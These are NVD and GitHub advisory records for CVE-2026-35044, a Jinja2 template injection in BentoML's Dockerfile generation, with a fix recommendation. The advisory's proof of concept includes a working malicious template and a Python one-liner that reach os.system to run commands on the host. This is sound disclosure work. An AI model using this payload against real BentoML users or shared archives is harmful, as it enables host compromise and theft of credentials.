{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. This vulnerability is fixed in 1.4.38."
    }
  ],
  "id": "CVE-2026-35044",
  "lastModified": "2026-04-07T13:20:11.643",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-06T18:16:41.990",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-v959-cwq9-7hr6"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-1336"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.37"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "bentoml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.38"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35044"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T23:14:15Z",
    "nvd_published_at": "2026-04-06T18:16:41Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe Dockerfile generation function `generate_containerfile()` in `src/bentoml/_internal/container/generate.py` uses an unsandboxed `jinja2.Environment` with the `jinja2.ext.do` extension to render user-provided `dockerfile_template` files. When a victim imports a malicious bento archive and runs `bentoml containerize`, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.\n\n## Details\n\nThe vulnerability exists in the `generate_containerfile()` function at `src/bentoml/_internal/container/generate.py:155-157`:\n\n```python\nENVIRONMENT = Environment(\n    extensions=[\"jinja2.ext.do\", \"jinja2.ext.loopcontrols\", \"jinja2.ext.debug\"],\n    trim_blocks=True,\n    lstrip_blocks=True,\n    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),\n)\n```\n\nThis creates an **unsandboxed** `jinja2.Environment` with two dangerous extensions:\n- `jinja2.ext.do` \u2014 enables `{% do %}` tags that execute arbitrary Python expressions\n- `jinja2.ext.debug` \u2014 exposes internal template engine state\n\n**Attack path:**\n\n1. **Attacker builds a bento** with `dockerfile_template` set in `bentofile.yaml`. During `bentoml build`, `DockerOptions.write_to_bento()` (`build_config.py:272-276`) copies the template file into the bento archive at `env/docker/Dockerfile.template`:\n\n```python\nif self.dockerfile_template is not None:\n    shutil.copy2(\n        resolve_user_filepath(self.dockerfile_template, build_ctx),\n        docker_folder / \"Dockerfile.template\",\n    )\n```\n\n2. **Attacker exports** the bento as a `.bento` or `.tar.gz` archive and distributes it (via S3, HTTP, direct sharing, etc.).\n\n3. **Victim imports** the bento with `bentoml import bento.tar` \u2014 no validation of template content is performed.\n\n4. **Victim containerizes** with `bentoml containerize`. The `construct_containerfile()` function (`__init__.py:198-204`) detects the template and sets the path:\n\n```python\ndocker_attrs[\"dockerfile_template\"] = \"env/docker/Dockerfile.template\"\n```\n\n5. **`generate_containerfile()`** (`generate.py:181-192`) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:\n\n```python\nuser_templates = docker.dockerfile_template\nif user_templates is not None:\n    dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx))\n    user_templates = os.path.basename(user_templates)\n    TEMPLATES_PATH.append(dir_path)\n    environment = ENVIRONMENT.overlay(\n        loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True)\n    )\n    template = environment.get_template(\n        user_templates,\n        globals={\"bento_base_template\": template, **J2_FUNCTION},\n    )\n# ...\nreturn template.render(...)  # \u003c-- SSTI executes here, on the HOST\n```\n\n**Critical distinction**: Commands in `docker.commands` or `docker.post_commands` execute *inside* the Docker build container (isolated). SSTI payloads execute Python directly on the **host machine** during template rendering, *before* Docker is invoked. This bypasses all container isolation.\n\n## PoC\n\n**Step 1: Create malicious template `evil.j2`:**\n\n```jinja2\n{% extends bento_base_template %}\n{% block SETUP_BENTO_COMPONENTS %}\n{{ super() }}\n{% do namespace.__init__.__globals__[\u0027__builtins__\u0027][\u0027__import__\u0027](\u0027os\u0027).system(\u0027id \u003e /tmp/pwned\u0027) %}\n{% endblock %}\n```\n\n**Step 2: Create `bentofile.yaml` referencing the template:**\n\n```yaml\nservice: \u0027service:MyService\u0027\ndocker:\n  dockerfile_template: ./evil.j2\n```\n\n**Step 3: Attacker builds and exports:**\n\n```bash\nbentoml build\nbentoml export myservice:latest bento.tar\n```\n\n**Step 4: Victim imports and containerizes:**\n\n```bash\nbentoml import bento.tar\nbentoml containerize myservice:latest\n```\n\n**Step 5: Verify host code execution:**\n\n```bash\ncat /tmp/pwned\n# Output: uid=1000(victim) gid=1000(victim) groups=...\n```\n\nThe SSTI payload executes on the host during template rendering, before any Docker container is created.\n\n**Standalone verification that the Jinja2 Environment allows code execution:**\n\n```bash\npython3 -c \"\nfrom jinja2 import Environment\nenv = Environment(extensions=[\u0027jinja2.ext.do\u0027])\nt = env.from_string(\\\"{% do namespace.__init__.__globals__[\u0027__builtins__\u0027][\u0027__import__\u0027](\u0027os\u0027).system(\u0027echo SSTI_WORKS\u0027) %}\\\")\nt.render()\n\"\n# Output: SSTI_WORKS\n```\n\n## Impact\n\nAn attacker who distributes a malicious bento archive can achieve **arbitrary code execution on the host machine** of any user who imports and containerizes the bento. This gives the attacker:\n\n- Full access to the host filesystem (source code, credentials, SSH keys, cloud tokens)\n- Ability to install backdoors or pivot to other systems\n- Access to environment variables containing secrets (API keys, database credentials)\n- Potential supply chain compromise if the victim\u0027s machine is a CI/CD runner\n\nThe attack is particularly dangerous because:\n1. Users may reasonably expect `bentoml containerize` to be a safe build operation\n2. The malicious template is embedded inside the bento archive and not visible without manual inspection\n3. Execution happens on the host, not inside a Docker container, bypassing all isolation\n\n## Recommended Fix\n\nReplace the unsandboxed `jinja2.Environment` with `jinja2.sandbox.SandboxedEnvironment` and remove the dangerous `jinja2.ext.do` and `jinja2.ext.debug` extensions, which are unnecessary for Dockerfile template rendering.\n\nIn `src/bentoml/_internal/container/generate.py`, change lines 155-157:\n\n```python\n# Before (VULNERABLE):\nfrom jinja2 import Environment\n# ...\nENVIRONMENT = Environment(\n    extensions=[\"jinja2.ext.do\", \"jinja2.ext.loopcontrols\", \"jinja2.ext.debug\"],\n    trim_blocks=True,\n    lstrip_blocks=True,\n    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),\n)\n\n# After (FIXED):\nfrom jinja2.sandbox import SandboxedEnvironment\n# ...\nENVIRONMENT = SandboxedEnvironment(\n    extensions=[\"jinja2.ext.loopcontrols\"],\n    trim_blocks=True,\n    lstrip_blocks=True,\n    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),\n)\n```\n\nAdditionally, review the second unsandboxed Environment in `build_config.py:499-504` which also uses `jinja2.ext.debug`:\n\n```python\n# build_config.py:499 - also fix:\nenv = jinja2.sandbox.SandboxedEnvironment(\n    variable_start_string=\"\u003c\u003c\",\n    variable_end_string=\"\u003e\u003e\",\n    loader=jinja2.FileSystemLoader(os.path.dirname(__file__), followlinks=True),\n)\n```",
  "id": "GHSA-v959-cwq9-7hr6",
  "modified": "2026-04-06T23:42:07Z",
  "published": "2026-04-03T23:14:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-v959-cwq9-7hr6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35044"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bentoml/BentoML"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation"
}